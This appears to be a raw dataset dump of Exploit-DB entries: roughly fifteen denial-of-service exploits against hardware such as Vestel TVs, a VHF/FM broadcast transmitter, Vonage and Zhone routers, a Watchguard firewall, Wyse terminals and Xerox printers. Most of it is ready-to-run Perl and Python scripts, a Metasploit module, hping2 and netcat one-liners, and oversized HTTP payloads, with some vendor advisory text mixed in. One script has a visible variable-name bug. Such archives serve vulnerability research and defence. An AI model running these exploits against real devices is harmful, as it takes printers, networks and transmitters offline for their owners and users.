deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28271
Description: Vestel TV 42pf9322 - Denial of Service
Type: dos
Platform: hardware
Date: 2013-09-13
Author: HackerSofi

Exploit:
#!/usr/bin/python

# Exploit Title: Vestel TV Denial of Service (DoS) Attack
# Exploit Author: HackerSofi - hackersofi@gmail.com 
# Date: 12/09/2013
# CVE Number: 
# Vendor Homepage: http://www.vestel.com/
# Description: Some TV's Has Communication Port. Vestel 42pf9322 Models TV Using Port 0f 111 For Network Communications. 
#              If You Launch An Attack 0n The Communication Port, Tv System Will Be Crashes. 
# Special Thanks : DaTaMaN

 
import httplib
import sys
import os

print "  ***************************************************************************************"
print "   Author: HackerSofi - hackersofi@gmail.com \n"
print "   Exploit: Denial of Service (DoS) attack\n"
print "   Description:\n"
print "   Some TV's Has Communication Port. Vestel 42pf9322 Models TV Using Port 0f 111 For Network Communications. "
print "   If You Launch An Attack 0n The Communication Port, Tv System Will Be Crashes.\n "
print "   Special Thanks : DaTaMaN "
print "  ***************************************************************************************\n"

# Sends The Request
print "  Sending The Request...\n"
conn = httplib.HTTPConnection(sys.argv[1],111)
conn.request("GET", "A"*10000)
conn.close()

# Checks The Response
print "  Checking The Status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Attack Successful!\n"
Exploit-DB #51793
Description: VIMESA VHF/FM Transmitter Blue Plus 9.7.1 (doreboot) - Remote Denial Of Service
Type: dos
Platform: hardware
Date: 2024-02-13
Author: LiquidWorm

Exploit:
VIMESA VHF/FM Transmitter Blue Plus 9.7.1 (doreboot) Remote Denial Of Service


Vendor: Video Medios, S.A. (VIMESA)
Product web page: https://www.vimesa.es
Affected version: img:v9.7.1 Html:v2.4 RS485:v2.5

Summary: The transmitter Blue Plus is designed with all
the latest technologies, such as high efficiency using
the latest generation LDMOS transistor and high efficiency
power supplies. We used a modern interface and performance
using a color display with touch screen, with easy management
software and easy to use. The transmitter is equipped with
all audio input including Audio IP for a complete audio
interface. The VHF/FM transmitter 30-1000 is intended
for the transmission of frequency modulated broadcasts
in mono or stereo. It work with broadband characteristics
in the VHF frequency range from 87.5-108 MHz and can be
operated with any frequency in this range withoug alignment.
The transmitter output power is variable between 10 and 110%
of the nominal Power. It is available with different remote
control ports. It can store up to six broadcast programs
including program specific parameters such as frequency,
RF output power, modulation type, RDS, AF level and deviation
limiting. The transmitter is equipped with a LAN interface
that permits the complete remote control of the transmitter
operation via SNMP or Web Server.

Desc: The device is suffering from a Denial of Service (DoS)
vulnerability. An unauthenticated attacker can issue an 
unauthorized HTTP GET request to the unprotected endpoint
'doreboot' and restart the transmitter operations.

Tested on: lighttpd/1.4.32


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5798
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5798.php


22.07.2023

--


$ curl -v "http://192.168.3.11:5007/doreboot"
*   Trying 192.168.3.11:5007...
* Connected to 192.168.3.11 (192.168.3.11) port 5007 (#0)
> GET /doreboot HTTP/1.1
> Host: 192.168.3.11:5007
> User-Agent: curl/8.0.1
> Accept: */*
>
* Recv failure: Connection was reset
* Closing connection 0
curl: (56) Recv failure: Connection was reset
Exploit-DB #43164
Description: Vonage VDV-23 - Denial of Service
Type: dos
Platform: hardware
Date: 2017-11-21
Author: Nu11By73

Exploit:
Overview
During an evaluation of the Vonage home phone router, it was identified that the loginUsername and loginPassword parameters were vulnerable to a buffer overflow. This overflow caused the router to crash and reboot. Further analysis will be performed to find out if the the crash is controllable and allow for full remote code execution.

Device Description:
1 port residential gateway

Hardware Version:
VDV-23: 115

Original Software Version:
3.2.11-0.9.40

Exploitation Writeup
This exploit was a simple buffer overflow. The use of spike fuzzer took place to identify the crash condition. When the application crashes, the router reboots causing a denial of service condition. The script below was further weaponized to sleep for a 60 second period while the device rebooted then continue one execution after another.

Proof of concept code:
The code below was used to exploit the application. This testing was only performed against denial of service conditions. The crash that was experienced potentially holds the ability to allow remote code execution. Further research will be performed against the device.

DOSTest.py

import requests 
passw = 'A' * 10580 post_data = {'loginUsername':'router', 'loginPassword':passw, 'x':'0', 'y':'0'} 
post_response = requests.post(url='http://192.168.15.1/goform/login', data=post_data)
Exploit-DB #20487
Description: Watchguard SOHO 2.2 - Denial of Service
Type: dos
Platform: hardware
Date: 2000-12-08
Author: Filip Maertens

Exploit:
source: https://www.securityfocus.com/bid/2082/info

The SOHO 2.2 is a popular SOHO firewall by Watchguard Technologies Inc.

A vulnerability exists in Watchguard SOHO 2.2 firewalls with firmware versions 2.2.1 and below that could allow a remote attacker to execute a Denial of Service attack on the firewall and render it in-operable.

It is possible for a remote attacker to issue large amounts of GET requests (70+) to the firewall which will in turn deplete memory resources on the firewall and either cause it to reboot or shutdown completely. In the case of a reboot, the firewall will be in-operable for one to five minutes. If the firewall shuts down completely, it will require a power recycle. In the case of a sustained attack, the firewall can be permanently taken off-line. It should be noted that this attack does not appear in the firewall logs except for a reboot notification. 

#!/usr/bin/perl
#
# You can also connect to the Watchguard SOHO through your
# browser and press F5 like a maniac on speed to get the
# firewall crashing. So, either you run the .pl script or
# you fire up your webbrowser... Either way, it works.
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
# (c)Proof of concept, vorlon <filip@securax.be>
# ----------------------------------------------------------
use IO::Socket;

$host = "your_watchguard_ip";
$port = "your_port";
$repeat = "100";
$request = "GET / HTTP/1.0";

print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) ||
die "Failed.\n";

$counter = 0;
print "Repeating request for $repeat times.\n";
while($counter < $repeat) {
print $socket "$request\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
PeerPort=>$port) || die "\nThe Watchguard SOHO has crashed. BEEFCAKE!...\n";
print ".";
$counter += 1;
}
print "\nDone.\n\n";

close($socket);
Exploit-DB #26834
Description: Westell Versalink 327W - LanD Packet Denial of Service
Type: dos
Platform: hardware
Date: 2005-12-14
Author: Justin M. Wray

Exploit:
source: https://www.securityfocus.com/bid/15869/info

Westell Versalink 327W is prone to a denial of service vulnerability.

These devices are susceptible to a remote denial of service vulnerability when handling TCP 'LanD' packets.

This issue allows remote attackers to crash affected devices, or to temporarily block further network routing functionality. This will deny further network services to legitimate users.

Westell Versalink 327W is reportedly affected by this issue. Due to code reuse among devices, other devices may also be affected. 

The following Hping2 command is sufficient to crash affected devices. The IP addresses must both be configured on the targeted device:

hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1
Exploit-DB #19137
Description: Wyse - Machine Remote Power Off (Denial of Service) (Metasploit)
Type: dos
Platform: hardware
Date: 2012-06-14
Author: it.solunium

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Auxiliary
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Wyse Machine Remote Power off (DOS)',
			'Description'    => %q{
					This module exploits the Wyse Rapport Hagent service and cause
                                        remote power cycle (Power off the wyse machine remotely).
			},
			'Stance'         => Msf::Exploit::Stance::Aggressive,
			'Author'         => 'it.solunium@gmail.com',
			'Version'        => '$Revision: 14976 $',
			'References'     =>
				[
					['CVE', '2009-0695'],
					['OSVDB', '55839'],
					['US-CERT-VU', '654545'],
					['URL', 'http://snosoft.blogspot.com/'],
					['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],
					['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],
					['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Targets'        =>
				[
					[ 'Wyse Linux x86', {'Platform' => 'linux',}],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 13 2012'
		))

		register_options(
			[
				Opt::RPORT(80),
			], self.class)
	end


	def run

		
		# Connect to the target service
		print_status("Connecting to the target #{rhost}:#{rport}")
		if connect
                print_status("Connected...")
                end

		# Parameters

                genmac     = "00"+Rex::Text.rand_text(5).unpack("H*")[0]

		craft_req = '&V52&CI=3|'
                craft_req << 'MAC=#{genmac}|#{rhost}|'
                craft_req << 'RB=0|MT=3|'
                craft_req << '|HS=#{rhost}|PO=#{rport}|'
                craft_req << 'SPO=0|' 

                # Send the malicious request
		sock.put(craft_req)

		# Download some response data
		resp = sock.get_once(-1, 10)
		print_status("Received: #{resp}")

                disconnect

		if not resp
			print_error("No reply from the target, this may not be a vulnerable system")
			return
		end

		if resp == '&00'
                print_status("#{rhost} execute command succefuly & power off.")
                return
                end

                #Exeptions
		rescue ::Rex::ConnectionRefused 
			print_status("Couldn't connect to #{rhost}:#{rport} | Connection refused.")
                rescue ::Rex::HostUnreachable
			print_status("Couldn't connect to #{rhost}:#{rport} | Host unreachable")
                rescue  ::Rex::ConnectionTimeout
			print_status("Couldn't connect to #{rhost}:#{rport} | Connection time out")
		rescue ::Errno::ECONNRESET, ::Timeout::Error
			print_status("#{rhost} not responding.")

	end
end
Exploit-DB #22950
Description: Xavi X7028r DSL Router - UPNP Long Request Denial of Service
Type: dos
Platform: hardware
Date: 2003-07-23
Author: David F. Madrid

Exploit:
source: https://www.securityfocus.com/bid/8252/info

A problem has been reported in the handling of requests of excessive length placed to the service on port 280 by the Xavi X7028r DSL router. This may allow an attacker to crash a vulnerable router.

perl -e 'print "GET /"."A"x1008;print "\nHost:www.example.com:280\n\n\n\n\n"' | netcat -v -n www.example.com 80
Exploit-DB #15380
Description: Xerox 4595 - Denial of Service
Type: dos
Platform: hardware
Date: 2010-11-01
Author: chap0

Exploit:
#!/usr/bin/perl
# 
# Xerox 4595 Remote Dos
# November 1, 2010
# By chap0 - The tongue has the power of life and death
# [www.seek-truth.net][www.corelan.be:8800]
#
# Public Advisories
# http://www.xerox.com/downloads/usa/en/c/cert_XRX10-004_v1.0.pdf
# http://www.corelan.be:8800/advisories.php?id=CORELAN-10-065 
# 
# Greets to Corelan Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty. Use for educational purposes only.
# Do not use this code to do anything illegal! Corelan does not want anyone to use this script
# for malicious and/or illegal purposes. Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.

use IO::Socket;

my $head = "http://";
my $code = "\x41" x 25;
$code=$code."\x25" x 4;
$code=$code."\x41" x 347;
$code=$code.".htm";

print "\nEnter the IP of the Xerox 4595 to DoS: ";
chomp ($ip = <STDIN>);

my $dos = $head.$ip.$code;

$sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => 80, Proto => "tcp" ); die "Check your connection: $!\n" unless $sock;

print $sock "$dos\r\n";


close ($sock);

print "Connect to $ip in a browser to see if the Dos was successful\n";
Exploit-DB #6196
Description: Xerox Phaser 8400 - Remote Reboot (Denial of Service)
Type: dos
Platform: hardware
Date: 2008-08-03
Author: crit3rion

Exploit:
#!/usr/bin/perl
# carved-out by: crit3rion, just making th3 world a b3tt3r plac3!
# Xerox_Remote_DoS.20080801.ver01 (tanx to dr0pz0N3 for reminding me to close my #$*&*! s0ck3t)
# Make: Xerox
# Model: Phaser 8400
# Firmware: 03/03/2004
#
# What's the deal?
# Apparently, if you send an empty packet to a Xerox Phaser 8400 printer
# the printer will reboot.  Tested successfully on four printers.
# 

# Let's not leave our maliciousness open to exploitation and errors!
use strict;
use warnings;
use IO::Socket::INET;

# What's your printer's IP Address?
print "Please enter the printers IP:\n";
my $ipaddr = <STDIN>;
chomp $ipaddr;

# Let's setup the connection...
my $socket = IO::Socket::INET->new(
 PeerPort => 1900,
 PeerAddr => $ipaddr,
 Proto => "udp" )
 or die "I tried. Maybe you entered the wrong IP?\n Maybe it's just my bad code...\n In any case, check: $@\n\n";

# Okay... Let's kill it.
$socket->send("");
$socket->close();

print "Done. It should have died.\n\n";
exit(1);

# milw0rm.com [2008-08-03]
Exploit-DB #11291
Description: Xerox Workcenter 4150 - Remote Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2010-01-30
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Xerox Workcenter 4150 Remote Buffer Overflow

Platforms:   Xerox Workcenter 4150

Discover Date:   2009-12-21

Author:   Francis Provencher (Protek Research Lab's)

Blog:   http://www.Protekresearchlab.com


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

=================
1) Introduction
=================

The Xerox WorkCentre 4150 multifunction is the affordable transition to the next level of productivity
for your office. One easy-to-use device offers powerful printing, copying, scanning, and faxing.

#####################################################################################

====================
2) Report Timeline
====================

2009-12-22  Vendor Contacted
2009-12-22  Vendor Response
2009-12-22  Vendor request a PoC
2009-12-23  PoC is sent
2009-12-28  Vendor confirm the vulnerability
2010-01-27  Vendor release a Patch
2010-01-28  Public release of this advisory

#####################################################################################

======================
3) Technical details
======================

During a brief assessment we performed on a Xerox WorkCentre 4150 it was discovered that PJL daemon
implementation contains a weakness related to robustness of PJL protocol handling. Attacker can crash
the service with a relatively simple attack. Recovering from the denial-of-service condition requires
power cycling the device. Due to the black box nature of this Proof of concept attack, we are unable to know
if remote code execution is possible.

On the LCD screen we can see this message;

System Fault: (ubEmulationLen <= Longest_Lang_Length) && The result of strlen() is invalid
file PJL_Misc.c, line 174, task PJL



#####################################################################################

=============
4) The Code
=============

#!/usr/bin/perl -w


use IO::Socket;
if (@ARGV < 1){
exit
}
$ip = $ARGV[0];
#open the socket
my $sock = new IO::Socket::INET (
PeerAddr => $ip,
PeerPort => '9100',
Proto => 'tcp',
);


$sock or die "no socket :$!";
send($sock, "\033%-12345X\@PJL ENTER LANGUAGE = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n",0);



close $sock;




#####################################################################################
(PRL-2009-26)
Exploit-DB #33583
Description: Xerox WorkCentre - PJL Daemon Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2009-12-31
Author: Francis Provencher

Exploit:
source: https://www.securityfocus.com/bid/38010/info

Xerox WorkCentre is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with the privileges of the application or crash the affected application.

Xerox WorkCentre 4150 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl -w


use IO::Socket;
if (@ARGV < 1){
exit
}
$ip = $ARGV[0];
#open the socket
my $sock = new IO::Socket::INET (
PeerAddr => $ip,
PeerPort => '9100',
Proto => 'tcp',
);


$sock or die "no socket :$!";
send($sock, "\033%-12345X\@PJL ENTER LANGUAGE = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n",0);



close $sock;
Exploit-DB #23508
Description: YaSoft Switch Off 2.3 - Large Packet Remote Denial of Service
Type: dos
Platform: hardware
Date: 2004-01-02
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/9339/info

A problem has been identified in the YaSoft Switch Off software package when handling large packets via the service management port (8000/TCP). This may make it possible for a remote user to deny service to legitimate users of the service. 

perl -e "print 'a'x10240 . chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a);" > DoS.txt

nc 127.0.0.1 8000 < DoS.txt
Exploit-DB #38475
Description: ZHONE < S3.0.501 - Multiple Remote Code Execution Vulnerabilities
Type: dos
Platform: hardware
Date: 2015-10-16
Author: Lyon Yang

Exploit:
Vantage Point Security Advisory 2015-003
========================================

Title: Multiple Remote Code Execution found in ZHONE
Vendor: Zhone
Vendor URL: http://www.zhone.com
Device Model: ZHONE ZNID GPON 2426A
(24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models)
Versions affected: < S3.0.501
Severity: High
Vendor notified: Yes
Reported:
Public release:
Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com>

Paper: https://www.exploit-db.com/docs/english/39658-exploiting-buffer-overflows-on-mips-architecture.pdf

Summary:
--------

ZHONE RGW is vulnerable to stack-based buffer overflow attacks due to
the use of unsafe string functions without sufficient input validation
in the httpd binary. Two exploitable conditions were discovered when
requesting a large (7000) character filename ending in .cgi, .tst,
.html, .cmd, .conf, .txt and .wl, in GET or POST requests. Vantage
Point has developed working code execution exploits for these issues.


1. Stack Overflow via HTTP GET Request
---------------------------------------------------------------------------------------

GET /.cmd?AAAA…..AAAA<7000 Characters> HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0)
Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/zhnvlanadd.html
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Connection: keep-alive

2. Stack Overflow via HTTP POST Request
---------------------------------------------------------------------------------------

POST /.cgi HTTP/1.1
Host: 192.168.1.1
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/updatesettings.html
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Content-Length: 88438

AAAA…..AAAA<7000 Characters>


Fix Information:
----------------

Upgrade to version S3.1.241


Timeline:
---------
2015/04: Issues reported to Zhone
2015/06: Requested Update
2015/08: Requested Update
2015/09: Requested Update
2015/10: Confirm that all issues has been fixed


About Vantage Point Security:
--------------------

Vantage Point is the leading provider for penetration testing and
security advisory services in Singapore. Clients in the Financial,
Banking and Telecommunications industries select Vantage Point
Security based on technical competency and a proven track record to
deliver significant and measurable improvements in their security
posture.

https://www.vantagepoint.sg/
office[at]vantagepoint[dot]sg
Exploit-DB #35859
Description: Zhone GPON 2520 R4.0.2.566b - Crash (PoC)
Type: dos
Platform: hardware
Date: 2015-01-21
Author: Kaczinski Ramirez

Exploit:
from httplib2 import Http
from urllib import urlencode
import sys,time
#main function
if __name__ == "__main__":
        if(len(sys.argv) != 2):
                print '*********************************************************************************'
                print ' GPON Zhone R4.0.2.566b D.O.S.'
                print ' Tested on'
                print '          GPON Zhone 2520'
                print '          Hardware: 0040-48-02'
                print '          Software: R4.0.2.566b'
                print '                                 '
                print ' Usage : python', sys.argv[0] + ' <ip>'
                print ' Ex :    python',sys.argv[0] + ' 192.168.15.1'
                print ' Author : Kaczinski lramirez@websec.mx '
                print ' URL : http://www.websec.mx/advisories'
                print '*********************************************************************************'
                sys.exit()

HOST = sys.argv[1]
LIMIT = 100000
COUNT = 1
SIZE = 10
BUFFER = ''

while len(BUFFER) < LIMIT:
        BUFFER = '\x41' * COUNT
        print "[+] Sending evil buffer with length:", len(BUFFER)
        h = Http()
        h.follow_redirects = True
        data = dict(XWebPageName=buffer, old[CREDENTIAL_REDACTED], password="", password2="test", passwdtip="test")
        try:
                resp, content = h.request("http://" + HOST + "/GponForm/LoginForm", "POST", urlencode(data))
        except:
                print "[+] GPON should be down, is not responding..."
                sys.exit()
        COUNT = COUNT * SIZE

print "[-] GPON not vulnerable"